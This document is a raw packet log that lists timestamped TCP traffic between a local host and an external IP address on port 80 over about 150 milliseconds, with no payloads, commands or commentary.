Aug 13, 2024 10:21:12.903220892 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.903234959 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.903249979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.903258085 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.903264999 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.903273106 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.903280973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.903295994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.903306961 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.903338909 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.904124975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.904140949 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.904154062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.904170036 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.904185057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.904187918 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.904201031 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.904227018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.904547930 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.904570103 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.904586077 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.904596090 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.904599905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.904611111 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.904629946 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.904649973 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.905205965 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.905260086 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.905335903 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.905350924 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.905385017 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.905400991 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.905548096 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.905563116 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.905579090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.905596972 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.905616999 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.905963898 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.905986071 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.906008005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.906011105 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.906023979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.906039000 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.906039953 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.906054020 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.906054974 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.906081915 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.906112909 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.906687021 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.906702042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.906716108 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.906730890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.906738043 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.906748056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.906752110 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.906764030 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.906780005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.906784058 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.906794071 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.906796932 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.906831026 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.906848907 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.907572031 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.907587051 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.907599926 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.907614946 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.907623053 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.907629013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.907644987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.907654047 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.907659054 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.907668114 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.907701969 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.908488989 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.908514023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.908528090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.908538103 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.908543110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.908559084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.908566952 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.908574104 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.908587933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.908597946 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.908602953 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.908612013 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.908646107 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.909581900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.909596920 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.909610987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.909625053 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.909631014 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.909641027 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.909657955 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.909667015 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.909679890 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.909681082 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.909697056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.909707069 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.909712076 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.909729004 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.909734964 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.909749031 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.909775972 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.910381079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.910397053 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.910412073 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.910427094 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.910434961 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.910444021 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.910444975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.910460949 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.910470009 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.910476923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.910499096 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.910504103 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.910515070 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.910530090 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.910547972 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.965306997 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.965327024 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.965341091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.965430021 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.965481043 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.965495110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.965509892 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.965533018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.965533018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.965533018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.965533018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.965563059 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.976567030 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.976653099 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.976663113 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.976679087 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.976703882 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.976715088 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.976872921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.976888895 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.976903915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.976918936 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.976919889 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.976933956 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.976968050 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.978470087 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.978521109 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.978564978 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.978581905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.978612900 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.978622913 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.978784084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.978797913 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.978811979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.978827000 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.978827953 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.978837967 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.978863955 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.979247093 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.979260921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.979274035 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.979289055 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.979298115 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.979307890 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.979337931 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.979607105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.979620934 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.979650021 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.979660988 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.979748964 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.979794025 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.989413023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.989468098 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.989481926 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.989495993 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.989553928 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.989624977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.989708900 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.989721060 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.989737034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.989756107 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.989770889 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.989782095 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.989799023 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.989898920 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.990209103 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.990223885 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.990237951 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.990252018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.990267038 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.990267992 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.990268946 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.990283012 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.990294933 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.990298033 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.990302086 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.990344048 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.990344048 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.990919113 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.990935087 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.991036892 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.991058111 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.991072893 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.991108894 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.991122961 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.991127014 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.991127014 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.991138935 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.991156101 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.991162062 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.991162062 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.991172075 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.991178989 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.991189003 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.991199017 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.991337061 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.991924047 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.991939068 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.991960049 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.991972923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.991987944 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.992053986 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.992544889 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.992623091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.992636919 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.992643118 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.992682934 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.992682934 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.992830038 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.992846012 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.992889881 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.992889881 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.993021011 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.993045092 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.993072987 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.993156910 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.993228912 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.993321896 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.993330002 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.993338108 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.993380070 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.993380070 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.993578911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.993593931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.993607998 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.993623018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.993635893 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.993635893 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.993665934 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.993665934 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.994009972 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.994024992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.994039059 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.994066000 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.994066000 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.994149923 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.994318962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.994349957 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.994364023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.994375944 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.994379044 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.994427919 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.994429111 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.994744062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.994760036 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.994772911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.994787931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.994801044 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.994801044 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.994802952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.994817972 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.994828939 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.994829893 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.994834900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.994852066 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.994859934 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.994859934 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.994882107 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.995006084 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.995604038 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.995619059 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.995634079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.995647907 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.995661974 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.995661020 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.995661020 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.995677948 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.995691061 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.995691061 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.995693922 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.995711088 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.995718956 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.995718956 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.995739937 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.995860100 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.996560097 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.996576071 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.996589899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.996604919 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.996618032 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.996618032 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.996619940 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.996635914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.996650934 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.996650934 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.996651888 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.996666908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.996678114 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.996678114 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.996682882 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.996689081 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.996700048 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.996706963 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.996723890 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.996870995 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.997349977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.997364044 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.997378111 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.997391939 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.997402906 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.997407913 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.997423887 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.997432947 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.997437954 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.997447014 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.997453928 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.997474909 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.997637033 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.052248955 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.052318096 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.052334070 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.052447081 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.052537918 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.052553892 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.052570105 CEST	80	49711	193.142.147.59	192.168.2.6
